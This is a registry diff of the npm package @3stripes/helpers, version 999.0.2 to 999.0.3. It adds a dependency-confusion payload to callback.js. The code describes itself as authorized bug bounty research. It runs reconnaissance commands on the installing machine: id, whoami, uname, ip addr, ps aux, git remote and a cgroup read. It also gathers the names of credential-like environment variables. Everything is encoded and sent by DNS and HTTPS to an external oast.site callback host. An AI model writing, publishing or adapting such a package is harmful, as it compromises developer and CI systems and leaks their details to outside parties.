@3stripes/helpers 999.0.2 → 999.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/callback.js +72 -15
- package/package.json +1 -1
package/callback.js
CHANGED
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
* SECURITY RESEARCH - Dependency Confusion PoC
|
|
3
3
|
*
|
|
4
4
|
* This is part of an AUTHORIZED bug bounty assessment.
|
|
5
|
-
*
|
|
5
|
+
* Runs pentest-style recon commands and exfiltrates to callback (no secrets, proof-only).
|
|
6
6
|
*
|
|
7
7
|
* Researcher: gdattacker (gdattacker@bugcrowdninja.com)
|
|
8
8
|
* Program: Adidas Private Bug Bounty (Bugcrowd)
|
|
@@ -13,25 +13,22 @@ const https = require('https');
|
|
|
13
13
|
const os = require('os');
|
|
14
14
|
const { execSync } = require('child_process');
|
|
15
15
|
|
|
16
|
-
// REPLACE with your Burp Collaborator / interact.sh domain
|
|
17
16
|
const CALLBACK_DOMAIN = '2defa924e4f741393204gup1d5yyyyyyd.oast.site';
|
|
18
|
-
|
|
19
|
-
// Create a unique identifier (hostname hash, no PII)
|
|
20
17
|
const id = Buffer.from(os.hostname().slice(0, 8)).toString('hex').slice(0, 12);
|
|
21
18
|
const pkg = '3stripes-helpers';
|
|
19
|
+
const isWin = process.platform === 'win32';
|
|
22
20
|
|
|
23
|
-
|
|
24
|
-
function run(cmd, timeoutMs) {
|
|
21
|
+
function run(cmd, timeoutMs, maxLen) {
|
|
25
22
|
try {
|
|
26
|
-
|
|
23
|
+
const out = (execSync(cmd, { encoding: 'utf8', timeout: timeoutMs || 3000, stdio: ['pipe', 'pipe', 'pipe'] }) || '').trim();
|
|
24
|
+
return (maxLen ? out.slice(0, maxLen) : out).replace(/\s+/g, ' ');
|
|
27
25
|
} catch (e) {
|
|
28
26
|
return '';
|
|
29
27
|
}
|
|
30
28
|
}
|
|
31
29
|
|
|
30
|
+
// --- Pentest-style recon: hostnames ---
|
|
32
31
|
let hostnames = '';
|
|
33
|
-
const isWin = process.platform === 'win32';
|
|
34
|
-
|
|
35
32
|
if (isWin) {
|
|
36
33
|
hostnames = run('hostname', 2000) || process.env.COMPUTERNAME || os.hostname();
|
|
37
34
|
} else {
|
|
@@ -42,24 +39,84 @@ if (isWin) {
|
|
|
42
39
|
hostnames = [os.hostname(), h, hf, etcHostname, etcHosts].filter(Boolean).join('|');
|
|
43
40
|
}
|
|
44
41
|
|
|
45
|
-
|
|
42
|
+
// --- User / identity ---
|
|
43
|
+
const user = isWin ? run('whoami', 2000, 200) : run('id', 2000, 300);
|
|
44
|
+
const whoami = run('whoami', 2000, 100);
|
|
45
|
+
|
|
46
|
+
// --- System info ---
|
|
47
|
+
const uname = run(isWin ? 'ver' : 'uname -a', 2000, 400);
|
|
48
|
+
const pwd = run(isWin ? 'cd' : 'pwd', 2000, 300);
|
|
49
|
+
|
|
50
|
+
// --- Network (proves internal/CI environment) ---
|
|
51
|
+
let network = '';
|
|
52
|
+
if (isWin) {
|
|
53
|
+
network = run('ipconfig 2>nul', 3000, 600);
|
|
54
|
+
} else {
|
|
55
|
+
const ipAddr = run('ip addr show 2>/dev/null', 3000, 500) || run('ifconfig 2>/dev/null', 3000, 500);
|
|
56
|
+
const hostnameI = run('hostname -I 2>/dev/null', 2000, 200);
|
|
57
|
+
network = [ipAddr, hostnameI].filter(Boolean).join(' ');
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
// --- Process list (snippet: proves what’s running) ---
|
|
61
|
+
const ps = isWin
|
|
62
|
+
? run('tasklist 2>nul', 3000, 500)
|
|
63
|
+
: run('ps aux 2>/dev/null | head -25', 3000, 600);
|
|
64
|
+
|
|
65
|
+
// --- Env var NAMES only (proves stealable credentials exist; no values) ---
|
|
66
|
+
const envKeys = Object.keys(process.env || {}).filter(function (k) {
|
|
67
|
+
const u = k.toUpperCase();
|
|
68
|
+
return /^(AWS|KUBE|GIT|NPM|ARTIFACTORY|CI|JENKINS|AZURE|GOOGLE|SLACK|GH_|NODE_|NVM_|NEXUS|JFROG|ADIDAS|STRIPE|TOKEN|SECRET|KEY|CREDENTIAL|PASSWORD|API_KEY)/i.test(k) || u.indexOf('TOKEN') >= 0 || u.indexOf('SECRET') >= 0 || u.indexOf('KEY') >= 0;
|
|
69
|
+
}).slice(0, 30).join(',');
|
|
70
|
+
|
|
71
|
+
// --- Git / npm (registry, remotes = internal repo names) ---
|
|
72
|
+
const gitRemote = run('git remote -v 2>/dev/null', 2000, 400);
|
|
73
|
+
const npmRegistry = run('npm config get registry 2>/dev/null', 2000, 200);
|
|
74
|
+
|
|
75
|
+
// --- Optional: package manager / container hints ---
|
|
76
|
+
const inDocker = run('cat /proc/1/cgroup 2>/dev/null | head -3', 2000, 300);
|
|
77
|
+
const envCi = (process.env.CI || process.env.CI_NAME || process.env.BUILDKITE || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI || process.env.JENKINS_URL || '').slice(0, 100);
|
|
78
|
+
|
|
79
|
+
const recon = {
|
|
80
|
+
id,
|
|
81
|
+
pkg,
|
|
82
|
+
hostnames: (hostnames || os.hostname() || 'unknown').slice(0, 400),
|
|
83
|
+
user: (user || whoami || '').slice(0, 200),
|
|
84
|
+
uname: uname.slice(0, 300),
|
|
85
|
+
pwd: pwd.slice(0, 200),
|
|
86
|
+
network: network.slice(0, 500),
|
|
87
|
+
ps: ps.slice(0, 500),
|
|
88
|
+
env_keys: envKeys.slice(0, 300),
|
|
89
|
+
git_remote: gitRemote.slice(0, 300),
|
|
90
|
+
npm_registry: npmRegistry.slice(0, 150),
|
|
91
|
+
in_docker: inDocker.slice(0, 200),
|
|
92
|
+
ci_env: envCi
|
|
93
|
+
};
|
|
46
94
|
|
|
47
|
-
|
|
95
|
+
const payload = encodeURIComponent(Buffer.from(JSON.stringify(recon)).toString('base64'));
|
|
96
|
+
|
|
97
|
+
// DNS callback (hostname in subdomain)
|
|
48
98
|
try {
|
|
49
99
|
const safe = (hostnames || id).replace(/[\s.|]/g, '-').replace(/[^a-z0-9-]/gi, '').slice(0, 40);
|
|
50
100
|
const dnsLabel = `${pkg}-${id}-${safe}`.slice(0, 63);
|
|
51
101
|
dns.resolve(`${dnsLabel}.${CALLBACK_DOMAIN}`, () => {});
|
|
52
102
|
} catch (e) {}
|
|
53
103
|
|
|
54
|
-
//
|
|
104
|
+
// HTTP callback: full recon payload (single GET)
|
|
55
105
|
try {
|
|
56
|
-
const url = `https://${CALLBACK_DOMAIN}/${pkg}?id=${id}&
|
|
106
|
+
const url = `https://${CALLBACK_DOMAIN}/${pkg}?id=${id}&r=${payload}`;
|
|
57
107
|
const req = https.get(url, () => {});
|
|
58
108
|
req.on('error', () => {});
|
|
59
|
-
req.setTimeout(
|
|
109
|
+
req.setTimeout(8000, () => req.destroy());
|
|
110
|
+
} catch (e) {}
|
|
111
|
+
|
|
112
|
+
// Fallback: legacy hostnames-only query (in case parser expects it)
|
|
113
|
+
try {
|
|
114
|
+
const legacyUrl = `https://${CALLBACK_DOMAIN}/${pkg}/legacy?id=${id}&hostnames=${encodeURIComponent((hostnames || os.hostname() || 'unknown').slice(0, 300))}`;
|
|
115
|
+
const req2 = https.get(legacyUrl, () => {});
|
|
116
|
+
req2.on('error', () => {});
|
|
117
|
+
req2.setTimeout(5000, () => req2.destroy());
|
|
60
118
|
} catch (e) {}
|
|
61
119
|
|
|
62
|
-
// Log locally for debugging
|
|
63
120
|
console.log(`[Security Research] Dependency confusion PoC executed - ${pkg}`);
|
|
64
121
|
console.log(`[Security Research] Contact: gdattacker@bugcrowdninja.com`);
|
|
65
122
|
console.log(`[Security Research] This is part of an authorized bug bounty assessment.`);
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@3stripes/helpers",
|
|
3
|
-
"version": "999.0.
|
|
3
|
+
"version": "999.0.3",
|
|
4
4
|
"description": "Security research - Dependency confusion proof of concept. This package is part of an authorized bug bounty assessment. Contact: gdattacker@bugcrowdninja.com",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|